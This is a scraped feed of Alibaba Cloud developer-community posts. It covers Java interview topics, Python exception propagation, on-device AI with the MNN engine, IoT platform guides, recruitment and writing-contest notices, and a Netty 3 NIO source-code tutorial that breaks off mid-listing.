        Java常见面试题:Java内存模型
        Java常见面试题:ClassLoader加载
        Java常见面试题:HashMap源代码
        Java常见面试题:HashMap冲突
        Java常见面试题:ArrayList实现原理
        Java常见面试题:this 关键字
        Java常见面试题:Set集合
        Java常见面试题:String转换
        Java常见面试题:ThreadLocal
        Java常见面试题:抽象类
        Java常见面试题:多线程应用
        Java常见面试题:ThreadLocal和ThreadPool原理以及应用场景
        Java常见面试题:ThreadLocal对象处理

        Java经典面试题

        16道超详细JavaWeb面试题整理
        Java经典面试题整理及答案详解(一)
        Java经典面试题整理及答案详解(二)
        Java经典面试题整理及答案详解(三)
        Java经典面试题整理及答案详解(四)
        Java经典面试题整理及答案详解(五)
        Java经典面试题整理及答案详解(六)
        Java经典面试题整理及答案详解(七)
        Java经典面试题整理及答案详解(八)
        Java经典面试题整理及答案详解(九)

        面试技巧

        云计算招聘岗位全方位需求解析+学习路径指南
        教你3步写出面试官心目中的理想简历|面试必看
        合辑 | 面试必备!18篇Java面试疑难点详解
        阿里资深校招面试官:4点建议,助你走进阿里
        蚂蚁操作系统资深专家秦承刚:应届生如何摘取软件行业皇冠上的明珠
        炫酷狂拽!一名迫击炮手如何成为支付宝算法工程师?
        校招面经丨不想浪费一身编程武功,所以选择了蚂蚁OceanBase
        如何从校招脱颖而出?支付宝程序媛王妍岩:自信+方法
        OceanBase团队对应届生的几点建议
        我的架构师之路——关于架构师的看法和成为架构师的心路历程

        更多专业知识,面试技巧就在面试一点通,持续更新中……
        感谢浏览~
        本内容来源于阿里云大学-Java面试技巧

        ]]>
        异常传播 | Python从入门到精通:高阶篇之四十一-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 异常简介 | Python从入门到精通:高阶篇之四十

        异常传播

        def fn():
            print('Hello fn')
        
        fn()

        执行结果:

        image.png

        此时可以正常执行输出。
        在全局中添加代码,造成异常:

        print(10/0)

        执行结果:

        image.png

        我们在函数中添加异常代码:

        def fn():
            print('Hello fn')
            print(10/0)
        
        fn()

        执行结果:

        image.png

        当在函数中出现异常时,如果在函数中对异常进行了处理,则异常不会再继续传播;如果函数中没有对异常进行处理,则异常会继续向函数调用处传播;如果函数调用处处理了异常,则不再传播,如果没有处理则继续向调用处传播;直到传递到全局作用域(主模块)如果依然没有处理,则程序终止,并且显示异常信息。

        我们修改上述代码:

        def fn():
            print('Hello fn')
            print(10/0)
        
        try:
            fn()
        except:
            pass

        执行结果:

        image.png

        此时异常就被处理掉了,程序可以正常执行。
        我们再来看一个:

        def fn():
            print('Hello fn')
            print(10/0)
        
        def fn2():
            print('Hello fn2')
            fn()
        
        fn2()
        
        def fn3():
            print('Hello fn3')
            fn2()
        
        fn3()    

        执行结果:

        image.png

        我们可以看出异常未经过处理,传播的过程。即抛出异常。

        当程序运行过程中出现异常以后,所有的异常信息会被保存一个专门的异常对象中,而异常传播时,实际上就是异常对象抛给了调用处。

        比如 : ZeroDivisionError类的对象专门用来表示除0的异常;
        NameError类的对象专门用来处理变量错误的异常;
        ....

        在Python为我们提供了多个异常对象 。
        我们通过官方文档去查找。

        image.png
        image.png

        里面提供了很多的异常信息。
        我们是通过对象抛出异常的,那么如何知道异常的信息呢?我们下一节来看。

        配套视频课程,点击这里查看

        获取更多资源请订阅Python学习站

        ]]>
        5G时代下端侧AI势必大火!阿里技术专家在线解读-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 屏幕快照 2020-03-26 下午6.13.04.png

        嘉宾|吕承飞(吕行)
        出品|InfoQ&阿里巴巴新零售淘系技术部

        嘉宾简介:吕承飞(花名:吕行),阿里巴巴资深无线开发专家。2013 年加入淘宝,经历手机淘宝超级 App 技术演化完整过程,主导手淘 iOS 架构升级、架构治理、稳定性以及性能等相关工作。2017 年开始端侧 AI 方向探索,现负责端智能团队,构建开源端侧推理引擎 MNN,淘宝 AR 技术框架和美妆 AR 等创新应用,端计算技术框架和搜索推荐等创新应用。

        前言

        人工智能发展已进入“落地为王”阶段,端侧 AI 相比云侧 AI,具有低延时、保护数据隐私、节省云端计算资源等优势,现已成为端侧技术新热点,并且紧贴用户在 AR 特效、搜索推荐等方面有诸多创新应用。近日,阿里巴巴淘系技术部资深无线开发专家吕承飞(吕行)受 InfoQ 邀约,为大家介绍端侧 AI 的现状以及在阿里的实践。本文将回顾端侧 AI 的发展过程,以阿里端侧 AI 发展为例展望端侧 AI 的未来。

        在将于 7 月份举行的 GMTC 北京 2020 上,吕承飞(吕行)老师作为“端侧 AI ”的专题出品人,策划了端侧 AI 专题的方向,将为大家介绍前沿的端侧 AI 创新应用、端侧 AI 技术、端侧 AI 开放能力,让大家在听完之后能结合自己业务快速上手,创造无限可能。

        端侧 AI 介绍和发展回顾

        ▐ 端侧 AI 正从尝试应⽤变成驱动业务创新的核⼼推动⼒之⼀

        AI 在智能⼿机和智能设备中应⽤越来越广泛,⽐如短视频 App 中的 AR 特效、⼈脸⻔禁等。

        随着端上算⼒不断增强和算法快速发展,特别是模型压缩技术和⼩模型算法设计不断成熟,在端侧运⾏算法模型成为可能。

        端侧 AI 简单说就是在终端设备做机器学习算法应⽤,这⾥“终端设备”主要是指⼿机,当然也包括不断出现的各种智能设备和 IoT 设备。⽬前,端侧 AI 主要是推理运⾏,当然也慢慢出现了在终端设备做训练,⽐如联合学习、迁移学习等。相较于云侧 AI,端侧 AI 具有低延时、兼顾数据隐私、节省云端计算资源,以及不依赖⽹络提供稳定服务等显著优势。

        自 2017 年以来,**端侧 AI 在底层技术和业务应⽤等⽅⾯都取得了快速发展,逐渐从尝试性应⽤变成驱动业务创新的核⼼推动⼒之⼀。
        **
        基于端侧 AI 的⼈脸检测、⼈体姿态、⼿势等算法补⻬了 AR 特效中的交互能⼒,从⽽可以实现各种有趣好玩的 AR 应⽤,且在短视频 App 中⼴泛应⽤。基于端侧 AI 的实时⽤户感知和理解能⼒,对于搜索推荐、安全⻛控、系统优化等业务都有帮助。在智能硬件 IoT 领域、⼈脸考勤机、 智能⻔禁锁,以及⻋载 ADAS 等应⽤也都跟端侧 AI 相关。

        从技术发展来看:
        端侧推理引擎逐步成熟,基本解决了算法模型在端侧能不能跑的问题,⽽且国内框架相⽐国外具有普遍的优势。国内开源的 NCNN、MNN、MACE 以及 Paddle-Lite 等经过不断打磨优化已经做的⾮常不错。国外 TFLite 和 Pytorch 也开始重视端侧推理,重点投⼊,性能等提升明显。
        除推理引擎之外,端侧 AI 应⽤和部署仍存在较⾼⻔槛,⾏业公司逐步有⼀些尝试。⽐如,阿⾥淘系在 2020 年 3 ⽉开放 MNNKit,包含⼈脸检测、⼿势识别等算法能⼒。百度和⼩⽶也有计划开源多种算法模型,⽐如,百度最近开源的含⼝罩⼈脸检测及分类模型。另外,华为通过⼀站式开发平台 ModelArts 希望实现端、边、云全场景的 AI 部署。

        总的来说,虽然端侧 AI ⽬前仍处于发展初期,但是相关应⽤已经展示出其巨⼤潜⼒,希望更多⼈能够了解和应⽤这项技术。这也是我们本次⼤会端侧 AI 专题的价值,通过介绍端侧 AI 最新技术进展和⾏业案例,给⼴⼤开发人员提供参考,从⽽使他们能结合⾃⼰业务场景进⾏探索和尝试,获得业务突破。

        阿⾥端侧 AI 发展状况

        ▐ 端侧 AI 业务应⽤场景逐步增多并取得明确价值,开源推理引擎 MNN

        最早从 2016 年开始公司内部就有业务尝试端侧 AI 能⼒,并在 2017 年开始有计划的建设和探索端侧 AI ⽅向,包括我⾃⼰和所在的 MNN 团队,也是从那个时候开始尝试端侧 AI ,经过这⼏年的发展,端侧 AI 已经成为移动 App 的基础能⼒,助⼒业务发展和创新突破,并且也取得了不错的业务结果。

        ⽬前,公司⾥绝⼤多数移动 App 都有使⽤端侧 AI,2019 年初统计使⽤ MNN 的 App 就超过 20 个。以⼿淘为例分享⼏个数据:10 多个场景应⽤,超过 25 个模型运⾏,每天运⾏机器学习和深度学习算法次数超过 500 亿次。

        应⽤场景

        • ⼿淘信息流推荐
          基于端侧 AI 技术可以实现更加实时的⽤户意图识别,做出更加精准的内容推荐,甚⾄在端上训练实现“千⼈千模”,有效提升了原有个性化推荐技术,该技术已在 2019 年双 11 中⼤规模应⽤并取得不错业务结果。对信息流的点击量和 GMV 都带来了明显提升。
        • ⼿淘美妆 AR
          基于端侧 AI 的⼈脸检测能⼒结合 AR 应⽤可以给消费者更加真实的购物体验。2019 年双 11 美妆⾏业推出的 AR 在线试妆功能,能够让⽤户模拟上妆,有效提升了线上购物体验。

        除此之外,⽀付宝扫福、⼿淘拍⽴淘、智能 Push 以及闲⻥智能发布等都是端侧 AI 的典型应⽤。

        技术建设

        总体来说,因为我们起步早,体系也相对完整,技术结果显著。基本已经解决算法模型在端侧能不能跑以及跑得好、跑得快等问题,现在我们正在解决规模化应⽤和业务创新快速验证的问题。具体从如下⼏⽅⾯简单来说:

        • 端侧推理引擎

        我们有开源推理引擎 MNN,以及⽀付宝定制化引擎 xNN,在性能优化、 异构多机型适配,模型压缩等⽅⾯有⽐较多积累,⽬前也已具备训练能⼒并⽀撑业务端上训练任务。

        • 端 AI 算法能⼒
          公司各算法团队已经沉淀⼈脸检测、⼿势识别、⼈体⻣骼、OCR 等常⽤能⼒,并且构建统⼀开箱即⽤算法集⽀撑业务快速接⼊应⽤。
        • 端 AI ⼯作台和研发体系
          淘系技术团队正在探索和建设⼀站式端侧 AI ⼯作平台"MNN⼯作台",降低端侧 AI 应⽤⻔槛,实现业务快速创新试错。

        端侧 AI 未来展望

        ▐ 端侧 AI 仍处于⼤规模应⽤爆发前夜,未来结合 AR、IoT 等技术迎来更⼤发展

        端侧 AI 的应⽤会向更⼤范围、更多领域铺开并切实给业务带来价值。从⼤公司尝鲜到普通公司逐步推开,它会真正成为⼀项基础能⼒;从视觉算法到⼤数据、⾃然语⾔处理、语⾳等更多算法领域的应用,例如:⾕歌发布的 ALBERT 在移动端部署应⽤已经成为可能;从智能硬件到 IoT 设备,近来 TinyML 技术也在不断成熟,正在成为新的蓝海,具体可以参⻅ TinyML2020 有关内容。

        端侧 AI 相⽐云侧 AI ⼀站式机器学习平台整体技术体系还不够完善,针对⾮专业算法同学如何能够⾃主解决数据和算法问题产出模型,针对⼤前端和算法同学如何提⾼协同效率等些问题的解决势必会进⼀步推动整个端侧 AI 的发展。淘系内部基于 MNN 正在构建端侧 AI 的完整研发体系,包括端 AI 运⾏时 +⼯作台 + 服务端,后续也会逐步向业界开放,⼀起让端侧 AI 获得更⼤发展。

        5G 技术已经到来,我觉得 5G 技术的发展也会促进端侧 AI 的发展。举例来说,5G 来了,⾳视频数据会进⼀步膨胀,当⽹络不是瓶颈,服务端算⼒就会成为瓶颈,那么本地的视频内容理解、预处理就显得尤为重要,更实时、更低成本的⽅案肯定会被应⽤,业界有些公司已经开始⾏动。结合 AR 来说,端侧 AI 补充了 AR 的交互能⼒,5G 补充了 AR ⽹络传输能⼒,让⾼质量的 AR 素材传输变成可能。那么,结合 5G + 端侧 AI + AR 技术可能会出现⼀些有意思的应⽤。

        总的来说,端侧 AI 经过⼏年发展,虽然在技术建设和业务应⽤都有了⼀些进展,但仍处于⼤规模应⽤爆发前夜。随着算⼒和算法不断进步,应⽤⻔槛的不断降低,结合 AR、视频、5G 以及 IoT 等技术,端侧 AI 必将迎来更⼤的发展。

        We are hiring

        淘宝基础平台部-端智能团队欢迎移动端计算优化工程师和推理引擎架构师的加入。对新技术感兴趣,善于创新突破,渴望用新技术给用户带来创新体验的同学请联系我们。

        简历投递至吕行:chengfei.lcf@alibaba-inc.com
        关注「淘系技术」微信公众号,一个有温度有内容的技术社区~

        公众号二维码.jpg

        ]]>
        阿里云物联网平台系列博客综述-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 分类
        1、Quick Start

        阿里云物联网平台Qucik Start

        2、基本概念

        阿里云物联网平台物模型功能测试示例Demo

        3、设备端及云端开发

        阿里云物联网平台自定义Topic脚本解析功能演示
        阿里云物联网平台云端NodeJS SDK使用简介
        基于开源 Net MQTT Client 连接阿里云物联网平台
        基于开源Python MQTT Client连接阿里云IoT
        LoRaWAN设备数据解析及开源MQTT SDK设备端模拟
        基于开源JAVA MQTT Client连接阿里云IoT
        阿里云物联网平台网关子设备接入JAVA Sample
        阿里云物联网平台一型一密获取:DeviceSecret 示例
        阿里云物联网消息透传设备端payLoad设置问题
        阿里云物联网平台payLoad设置参考
        阿里云物联网管理SDK使用示例

        4、服务端订阅开发 + 规则引擎

        阿里云物联网平台规则引擎综述
        阿里云物联网平台数据转发到时序时空数据库(TSDB)示例
        阿里云物联网平台数据转发到消息服务(MNS)示例
        阿里云物联网平台数据转发到DataHub示例
        阿里云物联网平台数据转发到函数计算示例
        阿里云物联网平台设备上下线信息通过规则引擎流转到RDS示例
        阿里云物联网平台设备历史属性上报及MNS服务端订阅
        阿里云物联网平台设备数据转发到消息队列RocketMQ全链路测试
        基于Topic消息路由的M2M设备间通信Node JS SDK 示例
        基于规则引擎的M2M设备间通信Node JS SDK 示例
        使用消息服务(MNS)订阅阿里云物联网平台设备消息PHP示例参考
        阿里云物联网平台数据转发到表格存储(Table Store)示例参考

        5、高级功能测试

        阿里云物联网平台NET SDK实现RRPC服务端调用
        阿里云物联网平台设备影子功能演示
        基于开源Java MQTT Client的阿里云物联网平台RRPC功能测试
        阿里云物联网平台设备升级OTA演示
        阿里云物联网平台远程配置功能JAVA 示例参考
        阿里云物联网平台NTP服务 JAVA 示例参考

        6、IoT Studio + LA

        阿里云物联网平台IoT Studio调用数据分析API示例
        阿里云 IoT Studio 服务开发云市场API调用示例
        阿里云IoT Studio服务开发操作OSS存储服务示例
        阿里云数据分析最佳实践:二维数据可视化 + 设备数据下发
        阿里云IoT Studio服务开发定时关灯功能示例Demo
        阿里云物联网平台开发服务(IoT Studio)服务开发调用云端API 示例
        阿里云物联网平台数据分析API调用

        7、未完待续......
        ]]>
        阿里云2020校招火热进行中!快来参与内推机会,走上人生巅峰!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云云市场校招正在火热进行中,研发和算法岗位向你招手,想要快速成长,一展身手的同学们看过来!

        **想参与到世界最新最热的技术发展中来吗?
        想让你的技术成果迅速应用于企业实践吗?
        想了解“企业服务”的电商是如何运作的吗**?

        让云市场团队来告诉你答案!我们每年服务百万家中小企业,致力于应用技术手段和商业创新帮助企业突破业务发展困境,真正践行技术赋能新商业:

        • 提供“企业服务”的电商平台(云市场),拥有交易交付、计量计费、服务保障等一系列技术实力,助力企业亿级营收
        • 提供包括低代码平台(宜搭)、阿里云RPA云智能机器人在内的PaaS底层技术,为企业定制服务开发提速
        • 提供上云工具SLK,拥有统一账号、API网关、弹性托管等技术能力,让企业安全、便捷、高效上云

        我们是充满激情与创造力的年轻化团队,坚持前沿技术与应用场景的探索与创新,我们关注每位同学的成长,“师兄文化”带你迅速融入团队,走上大牛之路,还在等什么?快来加入我们,让天下没有难做的SaaS!

        2020招聘服务号1.jpg

        关注阿里云云市场服务号,回复关键词“内推”,即刻获得内推资格+师兄微信号,带你玩转校招!

        ]]>
        阿里云数据库金笔杆征文大赛开始了!只要你抬笔,拿奖到手软!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 阿里云数据库金笔杆征文大赛第一赛季开始了!

        为了给爱好技术的同学们提供更大的分享及交流的机会,自即日起,我们面向数据库行业广大的从业者、爱好者、使用者、研究者们发起金笔杆征文大赛!只要你有一腔表达欲,这里就是你大展拳脚的绝佳平台!

        本次大赛将贯彻2020全年,即日起即开启第一赛季的征集,本赛季共分为两个参赛方向——征文类与问答类,同学们可选择自己擅长的领域创作发挥!本次大赛我们共为大家准备了8大奖项,Switch新款游戏机、AirPods、拍立得、SKG颈椎按摩器......只要你抬笔,拿奖到手软!数据库领域创作届超级网红就是你了~~!

        征文类规则说明:

        一、征文时间

        第一季度:即日起至2020年5月底

        二、征文对象

        数据库行业从业者、爱好者、使用者、研究者

        三、征文类型

        • 技术类:分享对于产品底层逻辑、技术实现的思考
        • 实战类:分享在实际业务场景中遇到的问题与解决对策
        • 行业类:对数据库行业的洞察及职业观察等
        • 热点类:解读当下的热点事件
        • 感想类:分享论文或书籍等读后感或解读

        ......

        其他类型文章符合要求者也可提交

        四、征文要求

        原创性,参评文章必须为【原创】【首发】!且不存在洗稿嫌疑。若有洗稿行为,一切后果自己承担

        • 文章内容可围绕阿里云数据库、开源数据库、技术干货分享等展开
        • 投稿文章需未在其他平台进行推广

        • 文章字数控制在1000-3000以内、 配图建议3-10张左右

        • 逻辑清晰,可读性强

        五、计分方式

        作者得分为投稿文章在各平台阅读量的总和,(阅读量以文章上线一个月内总数为准),阅读量排名第一的作者即为第一名,以此类推。

        六、推广渠道

        投稿文章将根据内容质量及分类选择不同渠道推广,上线时间为提交后一至两周左右时间。

        • 数据库自媒体矩阵渠道:微信公众号、今日头条、简书、知乎、微博、百家号等

        • 阿里云云栖社区及相关自媒体渠道:头条、开源中国、简书、UC大鱼号、CSDN博客、搜狐、51CTO等

        • 阿里云开发者社区渠道:开发者社区资源位、钉钉群渠道、站外媒体投放等

        七、奖项设置

        1、最佳征文一等奖(1人)

        奖品:Switch游戏机一台
        要求:季度所有文章总PV不低于6w
        奖项属性:季度奖

        2、最佳征文二等奖(1人)

        奖品:Airpods无线耳机
        要求:季度所有文章总PV不低于4w
        奖品属性:季度奖

        3、最佳征文三等奖(1人)

        奖品:SKG颈椎按摩器
        要求:季度所有文章总PV不低于2w
        奖品属性:季度奖

        4、月度Top10(10人)

        奖品:凌美钢笔一支
        要求:月度总PV排名前十,且不低于3k
        奖品属性:月度奖

        5、优秀参与奖(20人)

        奖品:瑞幸咖啡一杯
        要求:每月前20名投稿的同学
        奖品属性:月度奖

        奖品参考图:
        奖品照片.jpg

        颁奖时间:

        季度奖——6月30号颁奖
        月度奖——次月15号颁发

        八、参与方式

        (1)使用钉钉扫描二维码加入文章征集群,投稿请以word文档形式发送至群管理员

        金笔杆大赛征文.jpg

        (2)直接添加运营同学微信号,以word形式投稿

        我的微信.JPG

        九、参考文章

        深度 | 读PolarDB论文有感 : 异构计算和数据库软硬一体化设计

        8 种最坑的 SQL 错误用法,你有没有踩过坑?

        2月数据库流行度排行出炉!前三甲稳如泰山,SQLite 挤入前 10


        问答类规则说明

        一、征集时间

        第一季度:即日起至2020年5月底

        二、征文对象

        数据库行业从业者、爱好者、使用者、研究者

        三、参与方式:

        Step1: 加入「阿里云数据库金笔杆大赛问答征集群」]]> 基于物联网的移动应用及其对用户体验的影响-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 11.19.19-IoT-Based-Mobile-Applications-and-Their-Effect-on-User-Experience-1068x656-1.jpg

        物联网(IoT)是物理对象的生态系统,这些物理对象通过Internet连接并可以访问。物联网中的“事物”可以是心率监测设备或带有内置传感器的汽车,即已分配IP地址并能够通过网络收集和传输数据的对象,而无需任何手动帮助或介入。物联网使设备能够观察,理解和分析情况或周围环境,而无需依赖人工干预。

        物联网近年来发展迅速,并且这种增长似乎不会很快停止。物联网技术的全球市场(包括软件,服务,连接性和设备)在2018年达到1300亿美元。到2025年,预计将有超过640亿个物联网设备在线工作。

        世界各地有数十亿人使用智能手机,而且这一数字每天都在迅速增加。由于易于开发,移动应用程序是访问物联网的首选渠道。移动设备也是一个更加灵活的平台,用于传输数据。通过设备上的应用程序,可以有效地管理和监视IoT设备。移动应用程序在促进物联网增长方面起着重要作用。


        基于物联网的移动应用程序的好处是什么

        物联网可以使用智能设备创建一个非常智能的环境。与能够让用户远程控制这些设备的移动应用程序相结合,这项技术是这个时代最引人注目的技术之一。

        基于物联网的移动应用程序具有多种优势。以下是其中一些好处:

        具有成本效益

        物联网使组织能够执行所需的功能和操作,这些功能和操作的成本比传统方法要低得多,并且效率显着提高。具有远程移动应用程序的物联网设备可用于监控设备,从而降低了人员的风险和成本。

        消费者行为知识

        了解消费者的需求对任何企业都至关重要。在使用物联网的开发流程的帮助下,企业可以借助社交媒体,移动互联网使用,视频监控等不同资源来收集相关数据和统计数据。这随后可以帮助企业有效地了解消费者的偏好。

        提高生产力

        高生产率和高产出是所有企业的首要任务。借助物联网开发技术,企业各部门利用实时数据和变量,帮助企业获取和管理开发过程中涉及的各个阶段。物联网开发的应用程序还可以帮助公司监控和确定员工最有效率的工作时间,以便在这些时间安排重要的会议和任务。

        改善客户体验

        任何业务的进展在很大程度上取决于他们提供的客户体验。物联网开发的应用程序可以帮助用户使用手机读卡器,智能跟踪器等进行交易。这些应用程序还可以帮助用户跟踪其交易和其他此类数据,从而使客户体验顺畅无缝。

        安全的工作场所

        借助基于物联网的应用程序,监控高风险环境可以变得更加高效,并使雇主能够为员工提供更安全的工作场所。这些设备可以实时监视并提供数据,以便尽快识别可能的威胁。

        数据分类与分析

        物联网设备可以实时收集,分析和报告数据,并减少对数据存储的需求。这样可以节省大量成本和数据开销。

        研究

        物联网使用户能够收集大量数据,否则将需要花费数年时间手动收集。随后可以收集这些数据并进行统计研究以用于研究目的。


        移动应用如何影响物联网领域

        移动应用在各个领域影响着IoT,并使该技术更加多样化和通用。以下是一些主要示例:

        智能家居

        智能家居移动应用程序可帮助解决一个本地和远程中央用户控制在智能家居中管理多个设备的问题。单个应用程序将特定于设备的应用程序整合到单个仪表板上,以提供平稳便捷的用户体验。例如,用户甚至可以在回家之前监视温度并根据自己的要求进行调节。

        可穿戴设备

        智能手表和健身跟踪器等可穿戴物联网设备是基于现代应用程序的物联网设备使用的主要例子。这些设备将数据发送到连接的智能手机中的相应应用程序。用户可以随时从应用程序访问这些数据。

        医疗保健

        物联网设备在医药和医疗领域有着巨大的使用前景。基于物联网的应用可实现同步报告和监测、跟踪和警报、远程医疗援助等关键功能。联网健康政策中心进行的一项研究表明,由于对心力衰竭患者进行远程患者监测,30天的再入院率降低了50%。

        零售

        面向零售商的物联网的关键应用包括连接消费者、供应链和智能商店应用。物联网使企业能够实时监控移动应用程序上的销售机会,并跟踪店内缺货商品,将供需规划提升到一个新的水平。

        农业

        物联网在农业领域有多种应用。农民可以跟踪气候变化,监视牲畜,监视存货并分析来自连接到多个现场设备和传感器的中央应用程序的数据。

        智慧城市

        智慧城市可以成为基于物联网的移动应用程序的最广泛实施。交通警报和事故警报等应用程序可以警告市民以及当局,并帮助制定解决问题的应急计划。照明是智能城市物联网应用最普遍的例子之一,如今许多城市正转向无线通信以节省成本和降低能耗。

        小结

        物联网将是未来移动应用程序开发的最大推动力之一。利用物联网与移动应用程序可改善工作流程,并在日常生活中带来便利。

        物联网是一项非常强大的技术,它可以让生活在一个节奏快的社会中变得轻而易举。通过使用基于物联网的应用程序,可以带来无与伦比的好处,可以提高业务和用户体验的质量和效率。


        原文链接 ]]>
        netty源码分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   1、Netty是由JBOSS提供的一个java开源框架。Netty提供异步的、事件驱动的网络应用程序框架和工具,用以快速开发高性能、高可靠性的网络服务器和客户端程序。也就是说,Netty 是一个基于NIO的客户、服务器端编程框架,使用Netty 可以确保你快速和简单的开发出一个网络应用,例如实现了某种协议的客户,服务端应用。Netty相当简化和流线化了网络应用的编程开发过程,例如,TCP和UDP的socket服务开发。

          2、目前netty有3个版本netty3、netty4、netty5。3个版本的内容有所不同。neety3是核心的代码介绍。相对于netty4、和netty5的复杂性来说。netty3的源码是值得学习的。我这里解析了netty3的一些源码,仅供大家理解,也是为了方便大家理解做了很多简化。不代表作者的开发思路。

          3、我们先来看一张图(这张图是我在学习源码的时候扣的,哈哈)

          一、传统NIO流

        image.png

          1)一个线程里面,存在一个selector,当然这个selector也承担起看大门和服务客人的工作。

          2)这里不管多少客户端进来,都是这个selector来处理。这样就就加大了这个服务员的工作量

          3)为了加入线程池,让多个selector同时工作,当时目的性都是一样的。

          4)虽然看大门的和服务客人的都是服务员,但是还是存在差别的。为了更好的处理多个线程的问题。所以这里netty就诞生了。

        二、netty框架

         image.png
         

          理解:

          1)netty3的框架也是基于nio流做出来的。所以这里会详细介绍netty3框架的思路

          2)将看门的服务员和服务客人的服务员分开。形成两块(也就是2个线程池,也就是后面的boss和worker)

          3)当一个客人来的时候,首先boss,进行接待。然后boss分配工作给worker,这个,在两个线程池的工作下,有条不乱。

          4)原理:就是将看大门的selector和服务客人的selector分开。然后通过boss线程池,下发任务给对应的worker

          4、netty3源码分析

          1)加入对应的jar包。我这里为了了解源码用的是netty3的包。

        <dependency>
                    <groupId>io.netty</groupId>
                    <artifactId>netty</artifactId>
                    <version>3.10.6.Final</version>
                </dependency>
        

          2)目录结构

         image.png
         

          说明:

          a、NettyBoss、NettyWork是针对于selector做区分。虽然他们很多共性,我这里为了好理解,并没有做抽象类(忽略开发思路)。

          b、ThreadHandle是用来初始化线程池和对应的接口。

          c、Start为启动类

          3)NettyBoss(看大门的服务员,第一种线程selector)

        package com.troy.application.netty;
        
        import java.io.IOException;
        import java.nio.channels.*;
        import java.util.Iterator;
        import java.util.Queue;
        import java.util.Set;
        import java.util.concurrent.ConcurrentLinkedQueue;
        import java.util.concurrent.Executor;
        import java.util.concurrent.atomic.AtomicBoolean;
        
        public class NettyBoss {
        
        //线程池
        public final Executor executor;
        //boss选择器
        protected Selector selector;
        //原子变量,主要是用来保护线程安全。当本线程执行的时候,排除其他线程的执行
        protected final AtomicBoolean wakenUp = new AtomicBoolean();
        //队列,线程安全队列。
        public final Queue<Runnable> taskQueue = new ConcurrentLinkedQueue<>();
        //线程处理,这里主要是拿到work的线程池
        protected ThreadHandle threadHandle;
        
        //初始化
        public NettyBoss(Executor executor,ThreadHandle threadHandle) {
            //赋值
            this.executor = executor;
            this.threadHandle = threadHandle;
            try {
                //每一个线程选择器
                this.selector = Selector.open();
            } catch (IOException e) {
                e.printStackTrace();
            }
            //从线程中获取一个线程执行以下内容
            executor.execute(() -> {
                while (true) {
                    try {
                        //这里的目前就是排除其他线程同事执行,false因为这里处于阻塞状态,不用开启
                        wakenUp.set(false);
                        //选择器阻塞
                        selector.select();
                        //运行队列中的任务
                        while (true) {
                            final Runnable task = taskQueue.poll();
                            if (task == null) {
                                break;
                            }
                            //如果任务存在开始运行
                            task.run();
                        }
                        //对进来的进行处理
                        this.process(selector);
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            });
        }
        
        public void process(Selector selector) throws IOException {
            Set<SelectionKey> selectedKeys = selector.selectedKeys();
            if (selectedKeys.isEmpty()) {
                return;
            }
            for (Iterator<SelectionKey> i = selectedKeys.iterator(); i.hasNext();) {
                SelectionKey key = i.next();
                i.remove();
                ServerSocketChannel server = (ServerSocketChannel) key.channel();
                // 新客户端
                SocketChannel channel = server.accept();
                // 设置为非阻塞
                channel.configureBlocking(false);
                // 获取一个worker
                NettyWork nextworker = threadHandle.workeres[Math.abs(threadHandle.workerIndex.getAndIncrement() % threadHandle.workeres.length)];
                // 注册新客户端接入任务
                Runnable runnable = () -> {
                    try {
                        //将客户端注册到selector中
                        channel.register(nextworker.selector, SelectionKey.OP_READ);
                    } catch (ClosedChannelException e) {
                        e.printStackTrace();
                    }
                };
                //添加到work的队列中
                nextworker.taskQueue.add(runnable);
                if (nextworker.selector != null) {
                    //这里的目前就是开启执行过程
                    if (nextworker.wakenUp.compareAndSet(false, true)) {
                        //放开本次阻塞,进行下一步执行
                        nextworker.selector.wakeup();
                    }
                } else {
                    //任务完成移除线程
                    taskQueue.remove(runnable);
                }
                System.out.println("新客户端链接");
            }
        }

        }
          解释:

          a、初始化的时候,赋值线程池,和线程处理类(线程处理类目的是获取worker的工作线程)

          b、executor为线程池的执行过程。

          c、selector.select()为形成阻塞,wakenUp为了线程安全考核。在接入客户端的时候用selector.wakeup()来放开本次阻塞(很重要)。

          d、然后在worker安全队列中执行对应工作。(taskQueue的目前在boss和worker中的作用都是为了考虑线程安全,这里采用线程安全队列的目的是为了不直接操作其他线程)

          e、wakenUp.compareAndSet(false, true),这里是考虑并发问题。在本线程运行的时候,其他线程处于等待状态。这里也是为了线程安全考虑。

          4)NettyWork(服务客人的服务员,第二种selector)

        package com.troy.application.netty;
        
        import java.io.IOException;
        import java.nio.ByteBuffer;
        import java.nio.channels.SelectionKey;
        import java.nio.channels.Selector;
        import java.nio.channels.SocketChannel;
        import java.util.Iterator;
        import java.util.Queue;
        import java.util.Set;
        import java.util.concurrent.ConcurrentLinkedQueue;
        import java.util.concurrent.Executor;
        import java.util.concurrent.atomic.AtomicBoolean;
        
        public class NettyWork {
        //线程池
        public final Executor executor;
        //boss选择器
        protected Selector selector;
        //原子变量,主要是用来保护线程安全。当本线程执行的时候,排除其他线程的执行
        protected final AtomicBoolean wakenUp = new AtomicBoolean();
        //队列,线程安全队列。
        public final Queue<Runnable> taskQueue = new ConcurrentLinkedQueue<>();
        
        //初始化
        public NettyWork(Executor executor) {
            this.executor = executor;
            try {
                //每一个work也需要一个选择器用来管理通道
                this.selector = Selector.open();
            } catch (IOException e) {
                e.printStackTrace();
            }
            //从线程池中获取一个线程开始执行
            executor.execute(() -> {
                while (true) {
                    try {
                        //阻塞状态排除问题
                        wakenUp.set(false);
                        //阻塞
                        selector.select();
                        //处理work任务
                        while (true) {
                            final Runnable task = taskQueue.poll();
                            if (task == null) {
                                break;
                            }
                            //存在work任务开始执行
                            task.run();
                        }
                        //处理任务
                        this.process(selector);
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            });
        }
        
        public void process(Selector selector) throws IOException {
            Set<SelectionKey> selectedKeys = selector.selectedKeys();
            if (selectedKeys.isEmpty()) {
                return;
            }
            Iterator<SelectionKey> ite = this.selector.selectedKeys().iterator();
            while (ite.hasNext()) {
                SelectionKey key = (SelectionKey) ite.next();
                // 移除,防止重复处理
                ite.remove();
                // 得到事件发生的Socket通道
                SocketChannel channel = (SocketChannel) key.channel();
                // 数据总长度
                int ret = 0;
                boolean failure = true;
